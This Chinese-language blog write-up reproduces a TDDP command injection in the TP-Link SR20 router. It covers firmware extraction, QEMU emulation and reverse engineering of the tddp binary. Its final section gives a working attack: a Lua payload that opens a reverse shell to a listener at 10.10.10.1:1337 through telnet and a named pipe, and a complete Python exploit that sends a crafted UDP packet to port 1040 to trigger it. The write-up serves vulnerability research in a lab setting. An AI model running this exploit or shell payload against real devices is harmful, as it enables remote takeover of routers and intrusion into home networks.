TP-link Smart Home Router 命令注入漏洞

前言

查阅相关资料可知,TDDP协议(TP-LINK Device Debug Protocol) 是TP-LINK申请了专利的一种在UPD通信的基础上设计的协议,而Google安全专家Matthew GarrettTP-Link SR20设备上的TDDP协议文件中发现了一处可造成 “允许来自本地网络连接的任意命令执行” 的漏洞。

前置知识

TP-link SR20 设备运行V1版本的TDDP,而TDDP的V1版本不会验证身份,因此在向SR20的UDP 1040端口发送数据的时候,SR20都会接受并进行处理

目前TDDP有两个版本,分别是v1和v2。其中,v1版本不支持身份验证和对数据包荷载的加密,而v2版本则要求身份验证和对数据包荷载进行加密

TDDP数据格式

![image-20240813153034799](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813153034799.png)

一排四个字节,于是我们可以知道真正的数据需要12个字节的数据偏移

环境搭建

提取文件系统

SR20的固件,直接官网下载即可,然后使用binwalk提取固件。

1
binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin 

![image-20240813143731838](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813143731838.png)

或者使用firmware-mod-kit工具

1
sudo ~/tools/firmware-mod-kit/extract-firmware.sh    ./tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin

![image-20240813143848706](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813143848706.png)

可以看出固件使用的是SquashFS文件系统,从漏洞描述知道是因为V1版本的TDDP引起的,使用find命令查看TDDP的相关二进制程序

![image-20240813144125537](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813144125537.png)

发现在/usr/bin/存在tddp的程序,拷贝出来供后面分析

搭建ARM环境

为了使用QEMU模拟固件我们需要用到ARM的环境,因此在模拟前,先在debian官网下载ARM镜像

https://people.debian.org/~aurel32/qemu/armhf/

![image-20240813144706230](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813144706230.png)

由于该环境需要从外界下载,于是我们搭建ARM环境前,首先新建一个网络环境

先用apt安装tunctl

1
sudo apt-get install  uml-utilities

在安装完成tunctl后,接下来配置虚拟网卡,使用虚拟机与物理机进行通信,命令如下

1
2
3
sudo tunctl  -t tap0  -u `whomai`
sudo ifconfig tap0 10.10.10.1/24
ifconfig tap0

然后使用如下的启动脚本启动镜像

1
2
3
4
5
6
7
8
9
10
qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic

启动成功后,使用默认的root/root登录虚拟机

使用如下命令设置网络eth0的IP地址

1
2
ifconfig eth0  10.10.10.2/24
ping 10.10.10.1

传递文件系统

在物理机中进入squashfs-root 目录的上一级目录,使用tar -cvf squashfs-root.tar ./squashfs-root/命令打包文件系统,然后使用python内置的命令python -m SimpleHTTPServer开启web服务,以供虚拟机下载打包后的文件系统。

在QEMU虚拟机中使用wget http://10.10.10.1:8000/squashfs-root.tar 下载打包好的文件系统,然后tar -xvf squashfs-root.tar 解压即可

然后使用chroot命令切换到根路径,然后执行rootfs(这里的rootfs就是前面的squashfs-root)路径下面的sh命令

![image-20240813145840962](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813145840962.png)

自此,固件文件系统成功上传到虚拟机,接下来可以使用虚拟机模拟各种服务。这里先启动tddp服务,准备模拟TDDP中的远程代码注入漏洞,使用/usr/bin/tddp命令执行tddp服务

![image-20240813150129499](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813150129499.png)

文件分析

通过前面的文件执行输出的信息,定位tddp task start

找到了函数sub_936C

![image-20240813151503401](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813151503401.png)

交叉引用发现sub_971C调用了sub_936C函数,而且sub_971C被start函数调用了,简单分析一下sub_971C函数,觉得这个可能就是main函数了

![image-20240813151627420](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813151627420.png)

然后分析sub_936C函数,发现操作最多的是v6,怀疑v6就是输入的数据,简单分析后发现sub_16418对数据进行了解包

![image-20240813152119219](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813152119219.png)

简单分析后发现sub_15E74函数是真正的执行操作,前面还对v2进行了判断,因为前面对TDDP的操作介绍来看,第一个字节就是判断TDDP的版本,先判断v2是不是1,是1就执行真正的执行操作

![image-20240813152232415](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813152232415.png)

进入后发现是一对case操作,于是找到0x31,也就是TDDP的下载文件操作,进入看看

![image-20240813152442013](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813152442013.png)

发现了tftp下载命令

![image-20240813152552651](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813152552651.png)

脚本攻击

因为该漏洞使用了TFTP下载文件,所以需要安装tftp服务。在物理机安装该服务,安装命令为

1
sudo apt install atftpd

然后打开/etc/default/atftpd文件,找到最后的文件路径,一般为/srv/tftp/,在该目录下面创建一个文件payload,内容为需要执行的lua语言文件

1
2
3
function config_test(config)
os.execute("mknod a p; telnet 10.10.10.1 1337 0<a | /bin/sh 1>a")
end

即可实现反弹shell

然后在物理机进行监听1337端口

1
nc -lvnp 1337

然后执行EXP,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sys
import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
print(repr(packet))
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()

运行python exp.py 10.10.10.2 payload

![image-20240813151008005](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813151008005.png)

![image-20240813151017177](/picture/TP-link Smart Home Router 命令注入漏洞/image-20240813151017177.png)

获得shell